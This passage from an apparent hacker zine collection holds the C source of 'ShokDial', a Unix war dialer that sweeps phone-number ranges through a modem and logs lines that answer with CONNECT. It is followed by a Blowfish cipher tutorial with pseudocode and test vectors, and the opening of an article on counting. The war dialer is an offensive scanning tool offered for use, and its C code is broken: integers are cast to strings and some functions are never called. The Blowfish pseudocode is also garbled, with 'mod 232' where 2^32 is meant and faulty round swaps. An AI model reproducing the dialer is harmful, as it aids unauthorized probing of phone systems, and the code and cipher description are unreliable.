  2477. void long_validnum(int firstdigits, int lastdigits);
  2478.  
  2479.  
  2480. void main(int argc, char **argv)
  2481. {
  2482.   struct sigaction sig, sigdef;
  2483.  
  2484.   system("clear");
  2485.  
  2486.   /* ------------------------------------------------- */
  2487.  
  2488.   ProgName = argv[0];
  2489.  
  2490.   if (argc == 2) {
  2491.        if ((strcasecmp(argv[1], "-r")) == 0) random = 1;
  2492.        else if ((strcasecmp(argv[1], "-h")) == 0) usage();
  2493.        else if ((strcasecmp(argv[1], "-help")) == 0) usage();
  2494.        else if ((strcasecmp(argv[1], "--help")) == 0) usage();
  2495.        else if ((strcasecmp(argv[1], "-v")) == 0) version();
  2496.        else if ((strcasecmp(argv[1], "--version")) == 0) version();
  2497.        else LogFile=argv[1];
  2498.   }
  2499.  
  2500.   else if (argc == 3) {
  2501.     if ((strcasecmp(argv[1], "-r")) == 0) {
  2502.         random = 1;
  2503.         LogFile=argv[2];
  2504.        }
  2505.        else usage();
  2506.   }
  2507.  
  2508.   else if (argc > 3) usage(); 
  2509.  
  2510.   else {
  2511.        fprintf(stderr, "No log file specified....using %s as log file.\n", LOGFILE);
  2512.        fprintf(stderr, "-r (random scanning) option not given, using sequential scanning instead.\n");
  2513.        LogFile=LOGFILE;
  2514.   }
  2515.  
  2516. /* -------------------------------------------------- */
  2517.  
  2518.   sleep(4);
  2519.   system("clear"); /* Clear the screen */
  2520.  
  2521.  
  2522. /* -------------------------------------------------- */
  2523.  
  2524. sig.sa_handler = sighandler;
  2525. sigdef.sa_handler = SIG_IGN;
  2526. sigemptyset (&sig.sa_mask);
  2527. sig.sa_flags = 0;
  2528.  
  2529. sigaction(SIGHUP, NULL, &sigdef);
  2530. sigaction(SIGINT, &sig, NULL);
  2531. sigaction(SIGTERM, &sig, NULL);
  2532.  
  2533. /* -------------------------------------------------- */
  2534.  
  2535.   logfile=fopen(LogFile, "a");
  2536.   /* resume=fopen(".resume", "w"); */
  2537.  
  2538.   intro();
  2539.  
  2540. if (random != 1) {
  2541.   get_num();     /* Get the phone number                                */
  2542.   get_scannum;   /* Get the range to scan                   */
  2543. }
  2544.   open_port();   /* Open MODEMPORT (by default /dev/cua1)        */
  2545.   set_options;   /* Set baud rate, terminal modes, etc.                 */
  2546.   init_modem();  /* Send the modem ATZ etc..                */
  2547.  
  2548.   dial_number(); /* Dial the number/do the scanning              */ 
  2549.   hangup();      /* Disconnect                                 */
  2550.  
  2551.   close(fd);
  2552. }
  2553.  
  2554. /* -------------------------------------------------- */
  2555.  
  2556. void version(void)
  2557. {
  2558.   fprintf(stderr, "This is ShokDial, v1.0...please keep notice of this.\n");
  2559.   fprintf(stderr, "in case this program under goes some new features etc.\n");
  2560.   fprintf(stderr, "\t\t--==+*~(Shok)~*+==--\n");
  2561.   exit(0);
  2562. }
  2563.  
  2564. /* -------------------------------------------------- */
  2565.  
  2566. void usage(void)
  2567. {
  2568.     fprintf(stderr, "Usage: %s [options] [logfile]\n", ProgName);
  2569.        fprintf(stderr, "Options:\n");
  2570.        fprintf(stderr, "-r for random (as opposed to sequential) scanning\n");
  2571.        fprintf(stderr, "-h for help....what you're seeing now");
  2572.        fprintf(stderr, "-v for the version...because this will probably undergo changes\n\n");
  2573.     fprintf(stderr, "If no log file is specified, \"%s\" is used.\n", LOGFILE);
  2574.     exit(0);
  2575. }
  2576.  
  2577. /* -------------------------------------------------- */
  2578.  
  2579. void intro(void)
  2580. {
  2581.   printf("Shok's war dialer for UNIX (affectionately known as ShokDial).....\n");
  2582.   printf("------------------------------------------------------------------\n");
  2583.   printf("This is still in the beta version so it doesn't have a nice\n");
  2584.   printf("graphical interface yet.\n");
  2585.   printf("\nWell what you do here, is enter 0000 for the range to begin\n");
  2586.   printf("scanning and 9999 to end scanning if you want to scan all the\n");
  2587.   printf("possible ranges, but you can put 4444 for the nmber to start\n");
  2588.   printf("and 5555 for the number to begin to scan XXX-[4444-5555] for\n"); 
  2589.   printf("local numbers and it would be 1-XXX-XXX-[4444-5555] for long\n");
  2590.   printf("distance.\n");
  2591.   printf("\nAlso, you can use random scanning (as opposed to sequential\n");
  2592.   printf("scanning) by specifying the \"-r\" option...type:\n");
  2593.   printf("%s -h for help.\n\n", ProgName);
  2594.   printf("Anyway..enjoy!\n");
  2595.   printf("\t\t\t--==+*~(Shok)~*+==--\n\n");
  2596.   
  2597.   printf("Hit any key to continue.\n");
  2598.   getchar();
  2599. }
  2600.  
  2601. /* -------------------------------------------------- */
  2602.  
  2603. void get_num(void)
  2604. {
  2605.  
  2606.   printf("Scanning..\n(L)ocal, Long (D)istance\n");
  2607.   scanf("%2s", &LocalOrLong);
  2608.  
  2609.   if((strncasecmp(LocalOrLong, "L", 1)) == 0) {
  2610.       printf("Enter number to dial (753 for 753-XXXX): ");
  2611.       scanf("%d", &First3Digits);
  2612.       local_validnum(First3Digits);
  2613.  
  2614.   } 
  2615.   else if ((strncasecmp(LocalOrLong, "D", 1)) == 0) {
  2616.     printf("Enter number to dial (555555 for 555-555-XXXX): ");
  2617.     scanf("%3d%3d", &First3Digits, &Last3Digits);
  2618.     long_validnum(First3Digits, Last3Digits);
  2619.  
  2620.   } 
  2621.   else {
  2622.     fprintf(stderr, "You must specify L for local or D for Long Distance\n");
  2623.        exit(ERROR);
  2624.   }
  2625.  
  2626. }
  2627.  
  2628. /* -------------------------------------------------- */
  2629.  
  2630. void get_scannum(void)
  2631. {
  2632.   printf("Enter number to start scanning at: ");
  2633.   scanf("%4d", &ScanMin);
  2634.   putchar('\n');
  2635.  
  2636.   if ((ScanMin >= 0) && (ScanMin <= 9999)) { /* Do nothing */
  2637.   } 
  2638.   else {
  2639.     fprintf(stderr, "%d is invalid.\nScanning range must be 0000-9999\n", ScanMin);
  2640.     exit(ERROR);
  2641.   }
  2642.  
  2643.   printf("Enter number to end scanning: ");
  2644.   scanf("%4d", &ScanMax);
  2645.   putchar('\n');
  2646.   
  2647.   if ((ScanMax > ScanMin) && (ScanMax > 0) && (ScanMax <= 9999)) { 
  2648.     /* Do nothing */
  2649.   } 
  2650.   else {
  2651.     fprintf(stderr, "%d is invalid.\nScanning range must be 0000-9999\n", ScanMax);
  2652.     exit(ERROR);
  2653.   }
  2654.   
  2655. }
  2656.  
  2657. /* -------------------------------------------------- */
  2658.  
  2659. void open_port(void)
  2660. {
  2661.   printf("Opening modem for dialing...\n");
  2662.   fd = open(MODEMPORT, O_RDWR | O_NOCTTY | O_NDELAY);
  2663.   if (fd == ERROR) {
  2664.     perror("open");
  2665.     exit(ERROR);
  2666.   }
  2667.  
  2668. }
  2669.  
  2670. /* -------------------------------------------------- */
  2671.  
  2672. void set_options(void)
  2673. {
  2674.   tcgetattr(fd, &options);
  2675.   
  2676.   options.c_cflag |= (CLOCAL | CREAD);
  2677.   options.c_cflag &= ~PARENB;
  2678.   options.c_cflag &= ~CSTOPB;
  2679.   options.c_cflag &= ~CSIZE; 
  2680.   options.c_cflag |= CS8;
  2681.   
  2682.   options.c_iflag |= (INPCK | ISTRIP);
  2683.   options.c_lflag &= ~(ICANON | ECHO | ISIG); 
  2684.   options.c_oflag &= ~OPOST;
  2685.  
  2686.   cfsetispeed(&options, B115200); 
  2687.   cfsetospeed(&options, B115200);
  2688.  
  2689.   tcsetattr(fd, TCSANOW, &options);
  2690. }
  2691.  
  2692. /* -------------------------------------------------- */
  2693.  
  2694. void init_modem(void)
  2695. {
  2696.   printf("Initializing modem (port %s)....\n", MODEMPORT);
  2697.  
  2698.   /* Hang up modem if it's already on */
  2699.   
  2700.   hangup();
  2701.  
  2702.   numbytes=write(fd, "ATZ\r", 4);
  2703.   check_for_error(fd, numbytes, "write");
  2704.  
  2705.   sleep(3);
  2706.  
  2707. }
  2708.  
  2709. /* -------------------------------------------------- */
  2710.  
  2711. void dial_number(void)
  2712. {
  2713.  
  2714.   char phonenum[20];   /* If local: phonenum = First3Digits + ScanMin   */
  2715.                    /* If long distance: phonenum =                  */
  2716.                    /* First3Digits + Last3Digits + ScanMin          */
  2717.   char phonenum1[20];  /* Same as above except this has "\r" as well    */
  2718.   char connectmsg[50]; /* the message to the log file            */
  2719.  
  2720.   printf("Giving a %s second connection timeout", TIMEOUT);
  2721.  
  2722.  
  2723.   if ((strncasecmp(LocalOrLong, "L", 1)) == 0) {  /* Local call */
  2724.  
  2725.        while (1) {
  2726.  
  2727.         if (random == 1) ScanMin = (rand() % 8889) + 1111;
  2728.  
  2729.         strcat(phonenum, (char *)First3Digits);
  2730.                strcat(phonenum, (char *)ScanMin);
  2731.         strcpy(phonenum1, (char *)phonenum);
  2732.         strcat(phonenum1, "\r");
  2733.  
  2734.         if (random != 1) {
  2735.             printf("Dialing %d-%d.\n", First3Digits, ScanMin);
  2736.             numbytes = write(fd, phonenum1, strlen(phonenum1));
  2737.             check_for_error(fd, numbytes, "write");
  2738.         }
  2739.  
  2740.              else { /* if random == 1 */
  2741.                     printf("Dialing %d-%d.\n", First3Digits, ScanMin);
  2742.                     numbytes = write(fd, phonenum1, strlen(phonenum1));
  2743.             check_for_error(fd, numbytes, "write");
  2744.              }
  2745.  
  2746.         sleep(TIMEOUT); /* How long to wait for timeout */
  2747.  
  2748.         numbytes = read(fd, buf, 511);
  2749.         check_for_error(fd, numbytes, "read");
  2750.  
  2751.         /* Compare the string with "CONNECT" */
  2752.              if((strncmp(buf, "CONNECT", 7)) == 0) {
  2753.             #ifdef WANTBEEP
  2754.                     fputc('\a', stderr);
  2755.                     #endif
  2756.                     fprintf(stderr, "*** CONNECT *** to %d-%d\n", First3Digits, ScanMin);
  2757.  
  2758.                     /* Log it */
  2759.                     sprintf(connectmsg, "*** CONNECT *** to %d-%d\n", First3Digits, ScanMin);
  2760.                     fputs(connectmsg, logfile);
  2761.        
  2762.                     bzero(connectmsg, 50); /* Clear the message */
  2763.              }
  2764.              
  2765.              bzero(buf, 512); /* Reset buffer */
  2766.  
  2767.         hangup();
  2768.  
  2769.         if (random != 1) {
  2770.  
  2771.             /* Increase ScanMin so it scans for the next number */
  2772.             ScanMin += 1;
  2773.           
  2774.                        if (ScanMin > ScanMax) {
  2775.                     fputc('\a', stderr);
  2776.                     fprintf(stderr, "ALL DONE SCANNING....THANKS FOR USING\n");
  2777.                 exit(0);
  2778.                 }
  2779.         
  2780.         } 
  2781.  
  2782.         bzero(phonenum, 20);  /* Clear the phone number */
  2783.              bzero(phonenum1, 20); /* Ditto                */
  2784.  
  2785.     } /* End of while loop */
  2786.  } /* End of if */
  2787.  
  2788.   else { /* if LocalOrLong == "D" (Long Distance call) */ 
  2789.   
  2790.     while(1) {
  2791.  
  2792.         if (random == 1) ScanMin = (rand() % 8889) + 1111;
  2793.  
  2794.         strcat(phonenum, "1");
  2795.         strcat(phonenum, (char *)First3Digits); /* Area Code */
  2796.         strcat(phonenum, (char *)Last3Digits);  /* 1-XXX-555-XXXX */
  2797.         strcat(phonenum, (char *)ScanMin); /* 1-XXX-XXX-0000 */
  2798.         strcpy(phonenum1, (char *)phonenum); /* Copy it to another */
  2799.         strcat(phonenum1, "\r");       /* buf to append "\r" to it */
  2800.  
  2801.         if (random != 1) {
  2802.             printf("Dialing 1-%d-%d-%d.\n", First3Digits, Last3Digits, ScanMin);
  2803.                numbytes = write(fd, phonenum1, strlen(phonenum1));
  2804.             check_for_error(fd, numbytes, "write");
  2805.              }
  2806.  
  2807.              else { /* if random == 1 */
  2808.                     printf("Dialing 1-%d-%d-%d.\n", First3Digits, Last3Digits, ScanMin);
  2809.                     numbytes = write(fd, phonenum1, strlen(phonenum1));
  2810.                     check_for_error(fd, numbytes, "write");
  2811.              }
  2812.              
  2813.            sleep(TIMEOUT); /* How long to wait for timeout */
  2814.  
  2815.              numbytes = read(fd, buf, 511);
  2816.              check_for_error(fd, numbytes, "read");
  2817.        
  2818.              /* Compare the string with "CONNECT" */
  2819.              if((strncmp(buf, "CONNECT", 7)) == 0) {
  2820.                     fputc('\a', stderr);
  2821.                     fprintf(stderr, "*** CONNECT *** to 1-%d-%d-%d\n", First3Digits, Last3Digits, ScanMin);
  2822.  
  2823.             /* Log it */
  2824.                     sprintf(connectmsg, "*** CONNECT *** to 1-%d-%d-%d\n", First3Digits, Last3Digits, ScanMin);
  2825.             fputs(connectmsg, logfile);
  2826.  
  2827.                     bzero(connectmsg, 50); /* Clear the message */
  2828.              }
  2829.  
  2830.              bzero(buf, 512); /* Reset buffer */
  2831.  
  2832.         hangup();
  2833.  
  2834.              if (random != 1) {
  2835.  
  2836.                  /* Increase ScanMin so it scans for the next number */
  2837.                ScanMin += 1;
  2838.                     
  2839.                    if (ScanMin > ScanMax) {
  2840.                     fputc('\a', stderr);
  2841.                     fprintf(stderr, "ALL DONE SCANNING....THANKS FOR USING\n");
  2842.                     break;
  2843.                 }
  2844.  
  2845.         }
  2846.  
  2847.                 bzero(phonenum, 20);  /* Clear the phone number */
  2848.                 bzero(phonenum1, 20); /* Ditto                  */
  2849.  
  2850.  
  2851.     } /* End of while loop */
  2852.   } /* End of if/else loop */
  2853.  
  2854.   fclose(logfile);
  2855. } /* End of dial_num */
  2856.  
  2857. void hangup(void)
  2858. {
  2859.     /* After testing put this in the init_modem() section */
  2860.     /* for optimize it.                        */
  2861.  
  2862.     int fd1; /* fd for modem (hang up) */
  2863.  
  2864.     fd1=open(HANGUPPORT, O_RDWR | O_NOCTTY | O_NDELAY);
  2865.     if (fd1 == ERROR) {
  2866.     perror("open");
  2867.     close(fd1);
  2868.     close(fd);
  2869.     exit(ERROR);
  2870.     }
  2871.  
  2872.     numbytes=write(fd1, "+++\r", 4);
  2873.     check_for_error(fd1, numbytes, "write");
  2874.  
  2875.     sleep(1);
  2876.  
  2877.     numbytes=write(fd1, "ATH\r", 4);
  2878.     check_for_error(fd1, numbytes, "write");
  2879.  
  2880.     sleep(3);    
  2881.     
  2882.     /* Should/will check for "OK */
  2883.     close(fd1);
  2884.  
  2885. }
  2886.  
  2887. void sighandler(int signum)
  2888. {
  2889.   char message[50];
  2890.  
  2891.   fprintf(stderr, "Receive signal to quit....closing up modem, logging last number dialed,\nand exitting\n");
  2892.   if (random != 1) fprintf(stderr, "Last number dialed was: ");
  2893.     
  2894.   if((strncasecmp(LocalOrLong, "L", 1)) == 0) {
  2895.     if (random != 1) {
  2896.         sprintf(message, "%d-%d\n", First3Digits, Last3Digits);
  2897.                fprintf(stderr, message);
  2898.         fprintf(logfile, message);
  2899.     /*        fprintf(resume, "%d%d\n", First3Digits, Last3Digits); */
  2900.        }
  2901.   }
  2902.   else { /* if LocalOrLong == "D" */
  2903.     if (random != 1) {
  2904.         sprintf(message, "1-%d-%d-%d\n", First3Digits, Last3Digits, ScanMin);
  2905.            fprintf(stderr, message);
  2906.            fprintf(logfile, message);
  2907.     /*      fprintf(resume, "1%d%d%d\n", First3Digits, Last3Digits, ScanMin); */
  2908.     }
  2909.   }
  2910.  
  2911.   /* hangup(); */
  2912.   close(fd);
  2913.   /* fclose(resume); */
  2914.   fclose(logfile);
  2915.   exit(ERROR);
  2916. }
  2917.  
  2918. /* void resume(void) 
  2919.    {
  2920.  
  2921.    }
  2922. */
  2923.  
  2924. -----------
  2925. validate.c
  2926. -----------
  2927.  
  2928. /* Functions:            */
  2929. /* local_validnum        */
  2930. /* long_validnum         */
  2931.  
  2932. #include <stdio.h>
  2933. #include <unistd.h>
  2934.  
  2935. #define ERROR -1
  2936.  
  2937. /* Check if it was a valid local number */
  2938. void local_validnum(int digits) 
  2939. {
  2940.  
  2941.   if ((digits > 111) && (999 > digits)) {
  2942.     /* Do nothing */
  2943.   } 
  2944.   else {
  2945.     fprintf(stderr, "%d is invalid.\nThe number must be 111-999\n", digits);
  2946.        exit(ERROR);
  2947.   }
  2948.  
  2949. }
  2950.  
  2951. void long_validnum(int firstdigits, int lastdigits)
  2952. {
  2953.        if (((firstdigits > 111) && (firstdigits < 999)) && ((lastdigits > 111) && (lastdigits < 999))) {
  2954.         /* Do nothing */
  2955.        }
  2956.        else {
  2957.              fprintf(stderr, "%d%d is invalid.\nThe number must 111111-999999\n", firstdigits, lastdigits);
  2958.              exit(1);
  2959.        }
  2960.  
  2961.  
  2962. }
  2963.  
  2964. ---------
  2965. errors.c
  2966. ---------
  2967.  
  2968.  
  2969. /* Functions:            */
  2970. /* check_for_error       */
  2971.  
  2972. #include <unistd.h>
  2973. #include <stdio.h>
  2974.  
  2975. #define ERROR -1
  2976.  
  2977. void check_for_error(int fd, int num, char *s)
  2978. {
  2979.   if (num == ERROR) {
  2980.        fprintf(stderr, "Error: Unable to %s all the bytes.\n", s);
  2981.        hangup();
  2982.        close(fd);
  2983.        exit(ERROR);
  2984.   }
  2985.  
  2986. }  
  2987.  
  2988.  
  2989. ═────────────────────────────────────────────────────────────────────────────═
  2990. The Blowfish Algorithm: A Look Under The Hood
  2991. by The Messiah
  2992.  
  2993. Contents
  2994.     * Introduction
  2995.     * Key Setup
  2996.     * Encryption
  2997.     * Decryption
  2998.     * Review
  2999.     * Test Vectors
  3000.  
  3001.  
  3002. INTRODUCTION: The Blowfish encryption algorithm is one of the most well-known 
  3003. encryption algorithms in the public domain. It was written by noted 
  3004. cryptologist Bruce Schneier, and placed in the public domain in 1994. It uses 
  3005. a variable-size key (from 32 to 448 bits), has a 64-bit blocksize, and 
  3006. encrypts the plaintext 16 times, or "rounds." It is a symetric algorithm, 
  3007. meaning the key used to encrypt is the same key used to decrypt. It was 
  3008. designed to run best in software implementations, as opposed to DES, which 
  3009. was designed to run in hardware implementations.
  3010.  
  3011. KEY SETUP: Blowfish has a complex key setup required before any encryption or 
  3012. decryption can be done. This is the most complicated part of the algorithm.
  3013.  
  3014.     P-array: The P array is an array of 18 32-bit entries- array[1..18] of 
  3015.     LongInt;
  3016.     S-Boxes: There are 4 S-boxes, each with 256 32-bit entries- 
  3017.     array[0..255] of LongInt;
  3018.  
  3019.     1.) Initialize the P-array and S-boxes in order with the hexadecimal 
  3020.     digits of Pi, starting from the .1 place.
  3021.  
  3022.         for i := 1 to 18 do
  3023.             Parray[i] := GetPiDigit(i);
  3024.         for i := 0 to 255 do
  3025.             SBox1[i] := GetPiDigit(i+19);
  3026.         for i := 0 to 255 do
  3027.             SBox2[i] := GetPiDigit(i+257);
  3028.         for i := 0 to 255 do
  3029.             SBox3[i] := GetPiDigit(i+513);
  3030.         for i := 0 to 255 do
  3031.             SBox4[i] := GetPiDigit(i+787);
  3032.  
  3033.     2.) Cycle through the P-array, XORing the entry with a 32-bit value
  3034.           from the passphrase.
  3035.  
  3036.         Len : Byte;
  3037.         PassStr : String;
  3038.         password : array[1..14] of LongInt;
  3039.  
  3040.         Move(PassStr, password, Length(PassStr));
  3041.         Len := Length(PassStr);
  3042.         if Len mod 4 <> 0 then Inc(Len);
  3043.         for i := 1 to Len do
  3044.             for j := i to Len do
  3045.                 Parray[j] := Parray[j] xor password[j];
  3046.         for i := Len downto 1 do
  3047.             for j := Len downto i do
  3048.                 Parray[j] := Parray[j] xor password[j];
  3049.  
  3050.     3.) Encrypt an all-zero string wil the current S-boxes and replace
  3051.           P-array[1] and P-array[2] with the value. (See the encryption
  3052.           section for more info)
  3053.  
  3054.         zeros : TCipherBlock;
  3055.  
  3056.         zeros[0] := 0;
  3057.         zeros[1] := 0;
  3058.         zero := Encrypt(zero);
  3059.         Parray[1] := zeros[0];
  3060.         Parray[2] := zeros[1];
  3061.  
  3062.     4.) Fill the rest of the P-array and S-boxes in order, using the
  3063.           output of the encrypted string, changing the string to the
  3064.           last encrypted one:
  3065.  
  3066.         i := 3;
  3067.         while i <> 18 do
  3068.         begin
  3069.             zero := Encrypt(zero);
  3070.             Parray[i] := zeros[0];
  3071.             Parray[i+1] := zeros[1];
  3072.             Inc(i,2);
  3073.         end;
  3074.  
  3075.         i := 0;
  3076.         while i <> 255 do
  3077.         begin
  3078.             zero := Encrypt(zero);
  3079.             SBox1[i] := zeros[0];
  3080.             SBox1[i+1] := zeros[1];
  3081.             Inc(i,2);
  3082.         end;
  3083.  
  3084.         and so on....
  3085.  
  3086.  
  3087. ENCRYPTION: Encryption is done with two parts- the main part, and the F 
  3088. function.
  3089.  
  3090.     1.) The F function divides the left half of a cipherblock
  3091.           (a 32-bit value) into four values and encrypts them with
  3092.           the S-boxes.
  3093.  
  3094.         function F_Funct(Input : LongInt) : LongInt;
  3095.         var
  3096.             foo : array[0..3] of Byte;
  3097.         begin
  3098.             Move(Input, foo, 8);
  3099.             F_Funct := (SBox1[foo[0]] + SBox2[foo[1]] mod 232) xor SBox3[foo[2]]) + SBox4[foo[3]] mod 232;
  3100.         end;
  3101.  
  3102.  
  3103.     2.) The main part encrypts a 64-bit long block (two LongInts):
  3104.  
  3105.         type
  3106.             TCipherBlock = array[0..1] of LongInt;
  3107.  
  3108.         function Encrypt(Input : TCipherBlock) : TCipherBlock;
  3109.         var
  3110.             I : Byte;
  3111.             bin, bash : LongInt;
  3112.             foo : TCipherBlock;
  3113.         begin
  3114.             foo := Input;
  3115.             for i := 1 to 16 do (* number of rounds *)
  3116.             begin
  3117.                 foo[0] := foo[0] xor Parray[i];
  3118.                 foo[1] := F_Funct(foo[0]) xor foo[1];
  3119.                 bin := foo[0];
  3120.                 foo[1] := foo[0];
  3121.                 foo[0] := bin;
  3122.                 bin := foo[0];
  3123.                 foo[1] := foo[0];
  3124.                 foo[0] := bin;
  3125.                 foo[1] := foo[1] xor Parray[17];
  3126.                 foo[0] := foo[0] xor Parray[18];
  3127.             end;
  3128.             Encrypt := foo;
  3129.         end;
  3130.  
  3131. DECRYPTION: Decryption is the same as encryption, except it uses the
  3132.           P-array backwards.
  3133.  
  3134.     1.) Decryption function:
  3135.  
  3136.         function Decrypt(Input : TCipherBlock) : TCipherBlock;
  3137.         var
  3138.             I : Byte;
  3139.             bin, bash : LongInt;
  3140.             foo : TCipherBlock;
  3141.         begin
  3142.             foo := Input;
  3143.             for i := 16 downto 1 do
  3144.             begin
  3145.                 foo[0] := foo[0] xor Parray[i];
  3146.                 foo[1] := F_Funct(foo[0]) xor foo[1];
  3147.                 bin := foo[0];
  3148.                 foo[1] := foo[0];
  3149.                 foo[0] := bin;
  3150.                 bin := foo[0];
  3151.                 foo[1] := foo[0];
  3152.                 foo[0] := bin;
  3153.                 foo[1] := foo[1] xor Parray[18];
  3154.                 foo[0] := foo[0] xor Parray[17];
  3155.             end;
  3156.             Decrypt := foo;
  3157.         end;
  3158.  
  3159. REVIEW:
  3160.     Ahh, how I love being a critic. Blowfish is one of my favorite 
  3161. algorithms, simply because it has the largest key size, is VERY fast, and is 
  3162. public domain. It is relatively new, but so far all crypanalysis has found no 
  3163. real flaws. The only thing I know of is a slight weakness in 14-round 
  3164. variants of Blowfish, but most, if not all, implementations of Blowfish use 
  3165. the 16-round specs. Blowfish is simple, fairly easy to implement (the only 
  3166. hard part for me was finding all those digits of Pi), and VERY VERY fast. In 
  3167. a recent speed test using an optimized implementation of Blowfish, it used 
  3168. only 18 cycles per encrypted byte. Since it is one of the newer algorithms, 
  3169. it was designed with modern computing power in mind, unlike DES, which has 
  3170. fallen to brute force attacks. It's also in the public domain, unlike IDEA, 
  3171. so you may use it in a commercial application without having to pay 
  3172. royalties. I would use this over most other algorithms for communication 
  3173. (in CFB mode), or file storage, unless speed was the highest priority.
  3174.  
  3175. TEST VECTORS: Should you be making your own implementation of Blowfish, 
  3176. here's Eric Young's test vectors-
  3177.  
  3178.     All data is shown as a hex string with 012345 loading as
  3179.     data[0]=0x01;
  3180.     data[1]=0x23;
  3181.     data[2]=0x45;
  3182.     ecb test data (taken from the DES validation tests)
  3183.  
  3184.     key bytes               clear bytes             cipher bytes
  3185.     0000000000000000        0000000000000000        4EF997456198DD78
  3186.     FFFFFFFFFFFFFFFF        FFFFFFFFFFFFFFFF        51866FD5B85ECB8A
  3187.     3000000000000000        1000000000000001        7D856F9A613063F2
  3188.     1111111111111111        1111111111111111        2466DD878B963C9D
  3189.     0123456789ABCDEF        1111111111111111        61F9C3802281B096
  3190.     1111111111111111        0123456789ABCDEF        7D0CC630AFDA1EC7
  3191.     0000000000000000        0000000000000000        4EF997456198DD78
  3192.     FEDCBA9876543210        0123456789ABCDEF        0ACEAB0FC6A0A28D
  3193.     7CA110454A1A6E57        01A1D6D039776742        59C68245EB05282B
  3194.     0131D9619DC1376E        5CD54CA83DEF57DA        B1B8CC0B250F09A0
  3195.     07A1133E4A0B2686        0248D43806F67172        1730E5778BEA1DA4
  3196.     3849674C2602319E        51454B582DDF440A        A25E7856CF2651EB
  3197.     04B915BA43FEB5B6        42FD443059577FA2        353882B109CE8F1A
  3198.     0113B970FD34F2CE        059B5E0851CF143A        48F4D0884C379918
  3199.     0170F175468FB5E6        0756D8E0774761D2        432193B78951FC98
  3200.     43297FAD38E373FE        762514B829BF486A        13F04154D69D1AE5
  3201.     07A7137045DA2A16        3BDD119049372802        2EEDDA93FFD39C79
  3202.     04689104C2FD3B2F        26955F6835AF609A        D887E0393C2DA6E3
  3203.     37D06BB516CB7546        164D5E404F275232        5F99D04F5B163969
  3204.     1F08260D1AC2465E        6B056E18759F5CCA        4A057A3B24D3977B
  3205.     584023641ABA6176        004BD6EF09176062        452031C1E4FADA8E
  3206.     025816164629B007        480D39006EE762F2        7555AE39F59B87BD
  3207.     49793EBC79B3258F        437540C8698F3CFA        53C55F9CB49FC019
  3208.     4FB05E1515AB73A7        072D43A077075292        7A8E7BFA937E89A3
  3209.     49E95D6D4CA229BF        02FE55778117F12A        CF9C5D7A4986ADB5
  3210.     018310DC409B26D6        1D9D5C5018F728C2        D1ABB290658BC778
  3211.     1C587F1C13924FEF        305532286D6F295A        55CB3774D13EF201
  3212.     0101010101010101        0123456789ABCDEF        FA34EC4847B268B2
  3213.     1F1F1F1F0E0E0E0E        0123456789ABCDEF        A790795108EA3CAE
  3214.     E0FEE0FEF1FEF1FE        0123456789ABCDEF        C39E072D9FAC631D
  3215.     0000000000000000        FFFFFFFFFFFFFFFF        014933E0CDAFF6E4
  3216.     FFFFFFFFFFFFFFFF        0000000000000000        F21E9A77B71C49BC
  3217.     0123456789ABCDEF        0000000000000000        245946885754369A
  3218.     FEDCBA9876543210        FFFFFFFFFFFFFFFF        6B5C5A9C5D9E0A5A
  3219.  
  3220.     set_key test data
  3221.     data[8]= FEDCBA9876543210
  3222.     c=F9AD597C49DB005E k[ 1]=F0
  3223.     c=E91D21C1D961A6D6 k[ 2]=F0E1
  3224.     c=E9C2B70A1BC65CF3 k[ 3]=F0E1D2
  3225.     c=BE1E639408640F05 k[ 4]=F0E1D2C3
  3226.     c=B39E44481BDB1E6E k[ 5]=F0E1D2C3B4
  3227.     c=9457AA83B1928C0D k[ 6]=F0E1D2C3B4A5
  3228.     c=8BB77032F960629D k[ 7]=F0E1D2C3B4A596
  3229.     c=E87A244E2CC85E82 k[ 8]=F0E1D2C3B4A59687
  3230.     c=15750E7A4F4EC577 k[ 9]=F0E1D2C3B4A5968778
  3231.     c=122BA70B3AB64AE0 k[10]=F0E1D2C3B4A596877869
  3232.     c=3A833C9AFFC537F6 k[11]=F0E1D2C3B4A5968778695A
  3233.     c=9409DA87A90F6BF2 k[12]=F0E1D2C3B4A5968778695A4B
  3234.     c=884F80625060B8B4 k[13]=F0E1D2C3B4A5968778695A4B3C
  3235.     c=1F85031C19E11968 k[14]=F0E1D2C3B4A5968778695A4B3C2D
  3236.     c=79D9373A714CA34F k[15]=F0E1D2C3B4A5968778695A4B3C2D1E
  3237.     c=93142887EE3BE15C k[16]=F0E1D2C3B4A5968778695A4B3C2D1E0F
  3238.     c=03429E838CE2D14B k[17]=F0E1D2C3B4A5968778695A4B3C2D1E0F00
  3239.     c=A4299E27469FF67B k[18]=F0E1D2C3B4A5968778695A4B3C2D1E0F0011
  3240.     c=AFD5AED1C1BC96A8 k[19]=F0E1D2C3B4A5968778695A4B3C2D1E0F001122
  3241.     c=10851C0E3858DA9F k[20]=F0E1D2C3B4A5968778695A4B3C2D1E0F00112233
  3242.     c=E6F51ED79B9DB21F k[21]=F0E1D2C3B4A5968778695A4B3C2D1E0F0011223344
  3243.     c=64A6E14AFD36B46F k[22]=F0E1D2C3B4A5968778695A4B3C2D1E0F001122334455
  3244.     c=80C7D7D45A5479AD k[23]=F0E1D2C3B4A5968778695A4B3C2D1E0F00112233445566
  3245.     c=05044B62FA52D080 k[24]=F0E1D2C3B4A5968778695A4B3C2D1E0F0011223344556677
  3246.  
  3247.     chaining mode test data
  3248.     key[16]   = 0123456789ABCDEFF0E1D2C3B4A59687
  3249.     iv[8]     = FEDCBA9876543210
  3250.     data[29]  = "7654321 Now is the time for " (includes trailing '\0')
  3251.     data[29]  = 37363534333231204E6F77206973207468652074696D6520666F722000
  3252.     cbc cipher text
  3253.     cipher[32]= 6B77B4D63006DEE605B156E27403979358DEB9E7154616D959F1652BD5FF92CCE7
  3254.     cfb64 cipher text cipher[29]=
  3255.     E73214A2822139CAF26ECF6D2EB9E76E3DA3DE04D1517200519D57A6C3 ofb64 cipher text
  3256.     cipher[29]= E73214A2822139CA62B343CC5B65587310DD908D0C241B2263C2CF80DA
  3257.  
  3258. ═────────────────────────────────────────────────────────────────────────────═
  3259. Learning to Count All Over Again
  3260. by Bronc Buster
  3261. (ww.showdown.org)
  3262. (bbuster@succeed.net)
  3263.  
  3264. When I read 2600 I see a lot of the other readers are young people, and 
  3265. a lot of them are clueless about what makes this world go around. Well 
  3266. for anyone who's been to my site or talked to me, they know that I like 
  3267. to break down things into layman's terms. So anyone that might read 
  3268. what I write, will come away with an understanding of the subject 
  3269. rather then learning a ton of new acronyms and their eyes glazing 
  3270. over as they pass out. Well this article is going to focus on numbers 
  3271. and how to count with them among other things. I know what you're 
  3272. thinking, but read on, as I'm not talking about 1 + 1 = 2. I'm 
